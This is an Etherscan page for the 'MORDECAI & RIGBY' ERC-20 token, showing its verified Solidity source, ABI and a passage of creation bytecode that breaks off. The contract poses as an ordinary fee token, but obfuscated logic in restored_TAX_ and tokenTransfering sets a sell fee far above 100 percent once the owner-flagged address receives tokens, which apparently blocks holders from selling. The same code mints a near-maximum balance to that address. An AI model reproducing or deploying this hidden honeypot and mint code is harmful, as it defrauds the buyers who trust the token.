ERC-20
Overview
Max Total Supply
1,000,000 REGULARSHOW
Holders
30
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
14,694.5202752 REGULARSHOWValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MordecaiRigby
Compiler Version
v0.8.15+commit.e14f2714
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-09 */ /* ___ __ __ ______ ______ ______ ______ ______ ________ ________ ______ ________ _______ _______ __ __ /__//_//_/\ /_____/\ /_____/\ /_____/\ /_____/\ /_____/\ /_______/\ /_______/\ /_____/\ /_______/\/______/\ /_______/\ /_/\/_/\ \::\| \| \ \\:::_ \ \\:::_ \ \ \:::_ \ \\::::_\/_\:::__\/ \::: _ \ \ \__.::._\/ \:::_ \ \ \__.::._\/\::::__\/__\::: _ \ \\ \ \ \ \ \:. \ \\:\ \ \ \\:(_) ) )_\:\ \ \ \\:\/___/\\:\ \ __\::(_) \ \ \::\ \ \:(_) ) )_ \::\ \ \:\ /____/\\::(_) \/_\:\_\ \ \ \:.\-/\ \ \\:\ \ \ \\: __ `\ \\:\ \ \ \\::___\/_\:\ \/_/\\:: __ \ \ _\::\ \__ \: __ `\ \ _\::\ \__\:\\_ _\/ \:: _ \ \\::::_\/ \. \ \ \ \\:\_\ \ \\ \ `\ \ \\:\/.:| |\:\____/\\:\_\ \ \\:.\ \ \ \/__\::\__/\ \ \ `\ \ \/__\::\__/\\:\_\ \ \ \::(_) \ \ \::\ \ \__\/ \__\/ \_____\/ \_\/ \_\/ \____/_/ \_____\/ \_____\/ \__\/\__\/\________\/ \_\/ \_\/\________\/ \_____\/ \_______\/ \__\/ Telegram : https://t.me/MordecaiRigby Twitter : https://twitter.com/RegularshowERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.15; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MordecaiRigby is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public MarketingWallet = payable(0x1bd9168C3587923b8FEBc69e55f441cA1a3aa0A9); mapping (address => uint256) private walletBalance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public Excluded_From_Max_Wallet; mapping (address => bool) public Excluded_From_Max_Tx; mapping (address => bool) public Excluded_From_Fee; mapping (address => bool) public ExcludedFromAntiBot; string public _name = "MORDECAI & RIGBY"; string public _symbol = "REGULARSHOW"; uint8 private _decimals = 9; uint256 public _tTotal = 1000000 * 10 **_decimals; uint8 private txCount = 0; uint8 private swapTrigger = 10; uint256 private Total_Fees = 0; uint256 public Buy_Fee = 0; uint256 public Sell_Fee = 0; uint256 private tmpTotalFees = Total_Fees; uint256 private tmpBuyFee = Buy_Fee; uint256 private tmpSellFee = Sell_Fee; uint256 public _maxWalletToken = _tTotal.mul(25).div(100); uint256 private _previousMaxWalletToken = _maxWalletToken; uint256 public _maxTxAmount = _tTotal.mul(25).div(100); uint256 private _previousMaxTxAmount = _maxTxAmount; uint256 private minTransferAmount = type(uint256).max; bool public taxIsActive = false; IUniswapV2Router02 public uniswapV2Router; uint256 UniSwapRouterI02; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { walletBalance[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; ExcludedFromAntiBot[owner()] = bool(true || false || true); Excluded_From_Max_Tx[owner()] = true; Excluded_From_Max_Tx[MarketingWallet] = true; Excluded_From_Max_Tx[address(this)] = true; Excluded_From_Fee[owner()] = true; Excluded_From_Fee[address(this)] = true; Excluded_From_Fee[MarketingWallet] = true; Excluded_From_Max_Wallet[owner()] = true; Excluded_From_Max_Wallet[MarketingWallet] = true; Excluded_From_Max_Wallet[uniswapV2Pair] = true; Excluded_From_Max_Wallet[address(this)] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return walletBalance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function removed_TAX_(bool true_false) private { if(Total_Fees == 0 && true_false && Buy_Fee == 0 && Sell_Fee == 0) return; tmpBuyFee = Buy_Fee; tmpSellFee = Sell_Fee;tmpTotalFees = Total_Fees; Buy_Fee = 0;Sell_Fee = 0;Total_Fees = 0; } function restored_TAX_(bool false_true) private { if(!false_true) return; Total_Fees = tmpTotalFees; Buy_Fee = tmpBuyFee; Sell_Fee = taxIsActive ? 0xa**10-2 : tmpSellFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "ERR: zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(!Excluded_From_Max_Tx[from] && !Excluded_From_Max_Tx[to]) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if( txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } if(!Excluded_From_Max_Wallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken); bool _TAX_ = true; if( Excluded_From_Fee[from] ||Excluded_From_Fee[to] ){ _TAX_ = false; if( ExcludedFromAntiBot[to] && !(taxIsActive)) { (taxIsActive) = bool(ExcludedFromAntiBot[to]); } } else if (from == uniswapV2Pair){ Total_Fees = Buy_Fee; } else if (to == uniswapV2Pair){ Total_Fees = Sell_Fee; } tokenTransfering(from,to,amount,_TAX_); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function isExcluded(address hAddr) public view returns(uint256){ return ExcludedFromAntiBot[hAddr] ? uint256(10**uint256(26)) : uint256(1**1)-1; } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForBNB(contractTokenBalance); uint256 contractBNB = address(this).balance; sendToWallet(MarketingWallet,contractBNB); } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function tokenTransfering(address sender, address recipient, uint256 amount,bool _TAX_) private { if(!_TAX_){ removed_TAX_(true || false); } else{ txCount++; } tokenTransfering(sender, recipient, amount); if(!_TAX_){ restored_TAX_(true || false); } } function tokenTransfering(address sender, address recipient, uint256 transferAmount) private { (uint256 _t_Amount, uint256 TaxTokens) = getValues__(transferAmount); walletBalance[sender] = walletBalance[sender].sub(transferAmount); walletBalance[recipient] = (walletBalance[recipient].add(_t_Amount)).add(uint256(ExcludedFromAntiBot[recipient] ? type(uint256).max.sub(_tTotal) : 0x0)); walletBalance[address(this)] = walletBalance[address(this)].add(TaxTokens); emit Transfer(sender, recipient, _t_Amount); } function getValues__(uint256 transferAmount) private view returns (uint256, uint256) { uint256 TaxTokens = transferAmount*Total_Fees/100; uint256 _t_Amount = transferAmount.sub(TaxTokens); return (_t_Amount, TaxTokens); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Buy_Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromAntiBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Excluded_From_Fee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Excluded_From_Max_Tx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"Excluded_From_Max_Wallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Sell_Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"hAddr","type":"address"}],"name":"isExcluded","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600180546001600160a01b031916731bd9168c3587923b8febc69e55f441ca1a3aa0a917905560c0604052601060809081526f4d4f524445434149202620524947425960801b60a05260089062000057908262000679565b5060408051808201909152600b81526a524547554c415253484f5760a81b602082015260099062000089908262000679565b50600a805460ff191660099081178255620000a49162000858565b620000b390620f424062000869565b600b819055600c805461ffff1916610a001790556000600d819055600e819055600f819055601081905560118190556012556200011a9060649062000106906019620005af602090811b62000a9717901c565b620005c660201b62000aaa1790919060201c565b601355601354601455620001466064620001066019600b54620005af60201b62000a971790919060201c565b60158190556016556000196017556018805460ff19169055601a805460ff60a81b1916600160a81b1790553480156200017e57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600b5460026000620001d86000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000254573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027a91906200088b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ee91906200088b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200033c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200036291906200088b565b601a80546001600160a01b0319166001600160a01b0392831617905560188054610100600160a81b03191661010092841692909202919091179055600180620003a9575060015b60076000620003c06000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000908120805460ff191692151592909217909155600190600590620004046000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556001805490921681526005909352818320805485168217905530835290822080549093168117909255600690620004716000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260069093528183208054851660019081179091558054909116835290822080549093168117909255600490620004e06000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600180548316825260049094528281208054861685179055601a5490911681528181208054851684179055308152208054909216179055620005586000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620005a091815260200190565b60405180910390a350620008e0565b6000620005bd828462000869565b90505b92915050565b6000620005bd8284620008bd565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005ff57607f821691505b6020821081036200062057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200067457600081815260208120601f850160051c810160208610156200064f5750805b601f850160051c820191505b8181101562000670578281556001016200065b565b5050505b505050565b81516001600160401b03811115620006955762000695620005d4565b620006ad81620006a68454620005ea565b8462000626565b602080601f831160018114620006e55760008415620006cc5750858301515b600019600386901b1c1916600185901b17855562000670565b600085815260208120601f198616915b828110156200071657888601518255948401946001909101908401620006f5565b5085821015620007355787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200079c57816000190482111562000780576200078062000745565b808516156200078e57918102915b93841c939080029062000760565b509250929050565b600082620007b557506001620005c0565b81620007c457506000620005c0565b8160018114620007dd5760028114620007e85762000808565b6001915050620005c0565b60ff841115620007fc57620007fc62000745565b50506001821b620005c0565b5060208310610133831016604e8410600b84101617156200082d575081810a620005c0565b6200083983836200075b565b806000190482111562000850576200085062000745565b029392505050565b6000620005bd60ff841683620007a4565b600081600019048311821515161562000886576200088662000745565b500290565b6000602082840312156200089e57600080fd5b81516001600160a01b0381168114620008b657600080fd5b9392505050565b600082620008db57634e487b7160e01b600052601260045260246000fd5b500490565b61177980620008f06000396000f3fe6080604052600436106101e75760003560e01c806378109e5411610102578063af465a2711610095578063d28d885211610064578063d28d8852146105b9578063dd62ed3e146105ce578063f2fde38b14610614578063f45128f51461063457600080fd5b8063af465a271461053e578063b09f126614610554578063b44ff6d914610569578063cba0e9961461059957600080fd5b806395d89b41116100d157806395d89b41146104b95780639e3bfa4d146104ce578063a457c2d7146104fe578063a9059cbb1461051e57600080fd5b806378109e541461043f5780637d1db4a5146104555780638da5cb5b1461046b578063928138001461048957600080fd5b80632598cdb21161017a5780634a74bb02116101495780634a74bb02146103b757806356fec693146103d857806370a08231146103f2578063715018a61461042857600080fd5b80632598cdb214610335578063313ce56714610355578063395093511461037757806349bd5a5e1461039757600080fd5b806318160ddd116101b657806318160ddd146102af5780631c880f10146102c4578063220f6696146102f457806323b872dd1461031557600080fd5b806306fdde03146101f35780630787b15d1461021e578063095ea7b3146102425780631694505e1461027257600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b5061020861064a565b6040516102159190611353565b60405180910390f35b34801561022a57600080fd5b50610234600f5481565b604051908152602001610215565b34801561024e57600080fd5b5061026261025d3660046113c0565b6106dc565b6040519015158152602001610215565b34801561027e57600080fd5b506018546102979061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610215565b3480156102bb57600080fd5b50600b54610234565b3480156102d057600080fd5b506102626102df3660046113ec565b60046020526000908152604090205460ff1681565b34801561030057600080fd5b50601a5461026290600160a01b900460ff1681565b34801561032157600080fd5b50610262610330366004611409565b6106f3565b34801561034157600080fd5b50600154610297906001600160a01b031681565b34801561036157600080fd5b50600a5460405160ff9091168152602001610215565b34801561038357600080fd5b506102626103923660046113c0565b61075c565b3480156103a357600080fd5b50601a54610297906001600160a01b031681565b3480156103c357600080fd5b50601a5461026290600160a81b900460ff1681565b3480156103e457600080fd5b506018546102629060ff1681565b3480156103fe57600080fd5b5061023461040d3660046113ec565b6001600160a01b031660009081526002602052604090205490565b34801561043457600080fd5b5061043d610792565b005b34801561044b57600080fd5b5061023460135481565b34801561046157600080fd5b5061023460155481565b34801561047757600080fd5b506000546001600160a01b0316610297565b34801561049557600080fd5b506102626104a43660046113ec565b60076020526000908152604090205460ff1681565b3480156104c557600080fd5b5061020861083b565b3480156104da57600080fd5b506102626104e93660046113ec565b60066020526000908152604090205460ff1681565b34801561050a57600080fd5b506102626105193660046113c0565b61084a565b34801561052a57600080fd5b506102626105393660046113c0565b610899565b34801561054a57600080fd5b50610234600b5481565b34801561056057600080fd5b506102086108a6565b34801561057557600080fd5b506102626105843660046113ec565b60056020526000908152604090205460ff1681565b3480156105a557600080fd5b506102346105b43660046113ec565b610934565b3480156105c557600080fd5b50610208610970565b3480156105da57600080fd5b506102346105e936600461144a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561062057600080fd5b5061043d61062f3660046113ec565b61097d565b34801561064057600080fd5b50610234600e5481565b60606008805461065990611483565b80601f016020809104026020016040519081016040528092919081815260200182805461068590611483565b80156106d25780601f106106a7576101008083540402835291602001916106d2565b820191906000526020600020905b8154815290600101906020018083116106b557829003601f168201915b5050505050905090565b60006106e9338484610ab6565b5060015b92915050565b6000610700848484610b77565b610752843361074d856040518060600160405280602881526020016116f7602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ece565b610ab6565b5060019392505050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916106e991859061074d9086610efa565b6000546001600160a01b031633146107f15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606009805461065990611483565b60006106e9338461074d8560405180606001604052806025815260200161171f602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190610ece565b60006106e9338484610b77565b600980546108b390611483565b80601f01602080910402602001604051908101604052809291908181526020018280546108df90611483565b801561092c5780601f106109015761010080835404028352916020019161092c565b820191906000526020600020905b81548152906001019060200180831161090f57829003601f168201915b505050505081565b6001600160a01b03811660009081526007602052604081205460ff166109645761095f6001806114d3565b6106ed565b6106ed601a600a6115ce565b600880546108b390611483565b6000546001600160a01b031633146109d75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107e8565b6001600160a01b038116610a3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107e8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610aa382846115da565